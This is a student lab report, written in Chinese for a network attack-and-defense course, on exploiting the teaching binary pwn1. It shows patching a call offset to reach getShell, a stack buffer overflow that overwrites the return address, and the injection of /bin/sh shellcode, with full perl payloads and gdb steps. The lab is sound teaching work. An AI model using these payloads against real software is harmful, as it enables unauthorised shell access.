20212917于欣月 2021-2022-2 《网络攻防实践》第九周作业
20212917于欣月 2021-2022-2 《网络攻防实践》第九周作业
目录
1.实验要求及过程
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(1)将pwn1复制到虚拟机的/home/Desktop目录下,并备份一个pwn1_1。
(2)使用objdump -d pwn1 | more进行反汇编,查看main函数跳转的语句,查找到getShell函数。
(3)Main里面的call这句话是跳转到foo函数中,执行call执行的时候时候eip里的地址应该是下一条指令的地址也就是80484ba。因为小字节优先,所以放在这里是d7ffffff,但是计算时候应该倒过来。80484ba+ffffffd7=8048491。所以要想跳到getShell,就应该把ffffffd7换掉,也就是804847d-80484ba=ffffffc3,也就是把d7换成c3。所以现在我们只要把d7改成c3就完成了该实验。
(4)用vi编辑器编辑文件vi pwn1,因为是文本编辑器,所以还需要把它转化一下成十六进制:%!xxd,/d7查找d7。
(5)因为有很多d7,跟刚刚反汇编的进行对比,就可以发现第一个d7是e8d7ffffff,然后把d7改成c3;再使用:%!xxd -r返回,然后保存并退出。
(6)再进行反汇编,查看一下修改后的文件。
(7)分别运行修改后的pwn1和修改前的pwn1_1,查看结果如图1.5。修改前,输入什么输出什么,修改后有$并且可以输入命令,实验成功。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(1)pwn1反汇编,找到foo函数,可以看到程序为函数预留了“0x1c”大小,即28个字节的缓冲区。此时main函数中EIP寄存器中的返回地址为“80484ba”。
(2)安装gdb。
(3)因为程序预留的缓冲区长度为28个字节,EBP为4个字节,EIP为4个字节,需要构建一个至少36字节的字符串。首先要确定是否能将EIP寄存器覆盖,输入“gdb pwn1”,输入“r”运行,输入字符串“1111111122222222333333334444444412345678”,此时输入“info r”查看各寄存器的值,如图2.3所示。可以看到EIP寄存器中的值为“1234”,字符串的33到36字节已经将EIP寄存器覆盖。
(4)getShell的首地址为“804847d”,所以我们需要使用这个地址作为字符串的第33到36字节,覆盖EIP寄存器。输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input构建input文件,如图2.4所示。输入“(cat input; cat) | ./pwn1”,将input文件注入到pwn1中,如图2.5所示,可以看到成功启动了Shell,说明EIP寄存器中的返回地址覆盖成功。
3.注入一个自己制作的shellcode并运行这段shellcode。
(1)做好准备工作:设置堆栈可执行,关闭地址随机化,使攻击环境比较理想。
(2)在这里所使用的shellcode为
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”。为了保证注入的shellcode能够顺利运行,我们需要找到程序放置shellcode的地址,首先任意构造一个长度为36个字节的input_shellcode文件,通过gdb调试查找地址。输入“perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode”,这里不能以“\x0a”结尾,因为等会需要在另一个终端输入回车。输入“(cat input_shellcode;cat) | ./pwn1”将input_shellcode注入pwn1。
(3)重新打开一个终端进行gdb调试,输入“ps -ef | grep pwn1”,可以看到pwn1进程id为14135。输入gdb进入gdb调试,输入attach 14135查看pwn1进程,输入disassemble foo,可以看到此时程序在”80484ae”处停止。
(4)输入“break *0x080484ae”设置断点。 在第一个终端中按回车后,接着回到第二个终端输入 “info r esp”,查看栈顶指针的位置在“0xffffd5ac”。输入“x/16x 0xffffd5ac”,可以看到值“01020304”的位置在“0xffffd5ac”。
(5)0xffffd5ac+0x00000004=0xffffd5b0,所以输入
perl -e 'print "A" x 32;print "\xb0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode”重新构造input_shellcode。输入“(cat input_shellcode;cat) | ./pwn1”将input_shellcode注入pwn1。
2.学习中遇到的问题及解决
- 问题1:使用sudo apt-get install execstack/sudo apt-get install prelink安装不了,显示定位不到软件包。
- 答:更换源
3.学习感想和体会
- 这个实验虽然做过一遍,但是再做也还是不够熟悉。通过重温本实验,我对BOF攻击有了更进一步的了解。做中学、学中做,加深对汇编语言、机器指令和堆栈、栈帧等相关知识的理解。又是感叹网络攻防真复杂的一天,仍旧认为这方面真的需要很多知识和技能,如果想在这个领域走下去,需要付出很多努力。